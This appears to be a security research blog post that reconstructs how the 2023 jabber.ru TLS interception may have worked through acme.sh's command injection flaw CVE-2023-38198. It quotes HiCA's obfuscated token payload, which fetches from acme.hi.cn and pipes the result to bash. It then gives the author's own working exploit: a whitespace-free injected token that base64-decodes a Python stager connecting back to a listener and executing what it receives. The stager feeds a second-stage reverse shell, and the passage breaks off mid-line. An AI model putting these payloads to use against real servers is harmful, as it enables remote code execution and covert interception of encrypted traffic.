Parallel Reconstruction of Lawful TLS Wiretapping

Transport Layer Security (TLS) is the protocol involved in getting the lock icon to appear in your browser next to the URL. Under the hood it uses a bunch of really cool numbers for encryption. Some numbers are considered private and need securing; some are considered public and are fine for sharing. You can mix your numbers with other people’s numbers in such a way that you can verify a chain of trust. Ultimately, at the top of this chain there has to be an entity or entities that are implied to be trustworthy, so that the links further down the chain of numbers can inherit that trust. This is the role of a root Certificate Authority (CA) at the top (root) of the chain.There is, of course, a lot of nuance and detail missing from this high-level explanation of TLS and CA trust, but rest assured that understanding how things are supposed to work bears little influence on the ability to simply do things anyway.As a baseline, TLS wiretapping (presumably lawful) with root-CA-signed certificates is a thing that both happens and verifiably has happened.Encrypted traffic interception on Hetzner and Linode targeting the largest Russian XMPP (Jabber) messaging service (2023)This being a fact rather than a conspiracy theory tends to upset people. Meanwhile, if you understand the mechanics at play, it’s objectively very funny that someone likely forgot to renew the TLS certificate for a lawful intercept, resulting in a huge warning page for users and ultimately prompting the detailed investigation seen in the link above. It’s a rather amusing way to burn an operation.In this blog, we’ll exercise the benefit that hindsight is 20/20 and further suspend our expectations of how TLS is supposed to work. We’ll take a look at the analysis, the recommendations, and the factors in the larger system that was the year 2023, to attempt to answer how it actually could have worked, with a demonstration.AnalysisThe analysis blog on valdikss.org is extremely detailed, which is particularly useful since these things are almost exclusively only ever seen when an operational mistake occurs. I can’t “read” in the traditional left-to-right sense; it’s more like a smattering of a word cloud, and I’ve got 30+ years of experience correctly guessing the order. Allow me to demonstrate the value of that visually as we read through an analysis.

Big things are easy to guess the relevance of, but if the mystery were obvious it wouldn’t be a mystery. The devil’s in the details, and acme.sh (with the arrow pointing to it) is very small.When you process information this way, you lose the ordering of relevance. I typically skim a document deliberately, looking for numbers indicative of time so I can put it together in my head.DateEvent18 Apr 2023Unknown actor begins issuing SSL/TLS certificates25 Apr 2023 - 03 Nov 2023Other stuff happensThe core takeaways: look for events around April 18th, 2023 that may involve acme.sh (that’s a pretty clear missing piece) and note the things that happened afterward.acme.shRemember that chain-of-trust example from the start of the article? ACME is a protocol used to establish trust for the issuance and renewal of TLS certificates from certificate authorities. acme.sh is a shell-script executable that helps automate that process using the ACME protocol. acme.sh is what was running on the jabber.ru server to facilitate their TLS certificate renewals. Typically these run on a timer that calls out and renews a certificate before it expires.Notable events related to acme.sh around April 18th, 2023 include a remote code execution vulnerability disclosed on June 8th, 2023, eventually assigned CVE ID CVE-2023-38198. A patched release was available on Jun 9th, 2023. The jabber.ru server, running acme.sh on April 18th, would have been using a version vulnerable to this exploit.That seems potentially relevant!CVE-2023-38198In the GitHub issue that first disclosed the vulnerability, it was noted that this was being abused by a certificate authority, “HiCA”, to… issue a certificate. Across all the observed activity in the GitHub issue, you’ll see the chaos that is shell interpolation and dancing around forbidden/filtered characters to do the desired thing the wrong way.There are lots of useful goodies there, but even the examples given are in fact “broken” for the purpose of reproducing this vulnerability.

The nature of the vulnerability is such that the crux of the issue lies between the data on the wire and the representation of that data when processed by the ACME client, including for logging/debug purposes. So while what we see in the debug logs will be close to the original, there has to be stuff missing.@mholt - It turns out that the Challenge objects look unusual. Here’s a lightly-formatted example:{ Type: http-01 URL: ../pki-validation Status: pending Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)# KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw

} Something close to the above payload does some stuff, which results in some more stuff, which looks like this:This final screenshot is non-standard for ACME but benign in nature. It’s simply facilitating PKI validation, which is a step in issuing a certificate. This happily answers the observed intention of HiCA abusing this vulnerability, but does little to answer “how”.HowWe know the vulnerability deals with:ACME challenge type http-01It’s in the payloadSome form of command injectionThe whole ACME client is a shell scriptThe vulnerability exists in the TokenThat’s where all the nonsense is locatedSome characters aren’t allowedClearly spaces aren’t allowed; it’s nested and packed into one lineBy making some light modifications to an ACME server, I began toying around with and minifying the payload from the GitHub issue, trying to figure out how to get it to work. After two nights, I gave up. I could not get the redefinition of the Input Field Separator as IFS=^ to work in any manner whatsoever. As-is, there are so many pre-processing layers involved in ACME that you simply can’t use it that way to gain remote code execution. Generically, the IFS trick is what allows packing a nested command into the Token field with no spaces (which also aren’t allowed) in the first place.I remain confident that either:I’m an idiot who can’t figure out how to get the a simple IFS trick past the filters, orHiCA was actively figuring out/changing the payloads over the course of the timeline in the GitHub issue.At least one, possibly both, are true. It is worth noting that I see IFS tricks most commonly abused by botnet operators, such as Mirai variants. It makes me wonder why someone at HiCA, a company dealing with security, was so well versed in IFS filter bypass tricks, only to use them to do the exact benign expected thing anyway.But then again, I’m also a “good guy” who’s about to do the same thing they did, and being an idiot has never stopped me before.

DIYAs best as I can tell, the token response listed in the GitHub is attempting to redefine the IFS as ^, which didn’t work on any system I tried, or any variation I attempted, and also didn’t pass through field parsing of acme.shEven though I couldn’t reproduce it, the intended mechanism appears to be:# Set Input Field separator to ^ for top level interpreter, using ; to avoid using spaces IFS=^; # Define a variable "cmd" as "base64 -d" using the new IFS cmd=base64^-d; # Redirect a base64 encoded space " " character into "cmd" to produce a space $cmd<<<IA== # Redirect base64 encoded "://" to produce those characters for the preceding curl $cmd<<<Oi8v These 3 tricks, ideally wrapped in the correct sequence of backticks and $() allow them to create and use characters several layers down of interpretation and parsing that otherwise break acme.sh ACME issuance flow.Again, squinting VERY hard at the HiCA developer who put in the effort to develop this.Regardless, it doesn’t work on my machine(s), but clearly a version at some time (potentially not recorded on the GitHub issue) did in fact work.Employing the same nested lifting of whitespace to encode shell commands to pass the filter, I came up with:{ Type: http-01 URL: ../pki-validation Status: pending Token: dd##http-01#/tmp/$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)#

} The trick here is echo|nl, for which echo produces a single \n whitespace character, and nl reads that character, and produces that character. This produces a single whitespace character without using any whitespace characters, for which we can craft a shell command.Unpacking it is much simpler:# Base64 decode a string and pipe it to python3 STDIN $(echo aW1w... | base64 -d | python3) The contents of the base64 are the golfed python code (made as small as possible). Base64 encoding to avoid spaces means the result becomes ~33% larger.And that becomes quite the problem due to the fact that the maximum length of a file path component in linux is typically 255 bytes and this vulnerability requires putting the exploit code in the filename itself, instead of in the file. Exceeding 255 bytes results in the filesystem itself rejecting the exploit.remy@bigboi:~$ ls /tmp '$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)' Hence, code golfing. I did the easy thing and just wrote a simple stager that connects back to my server, reads 4096 bytes, and executes the python code entirely in memory.import socket as s;a=s.socket(s.AF_INET,s.SOCK_STREAM);a.connect(("127.0.0.1",9999));exec(a.recv(4096)); On my server, I pipe a typical python reverse shell into the interpreter, which catches the shell on another port.# Stage 2 socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.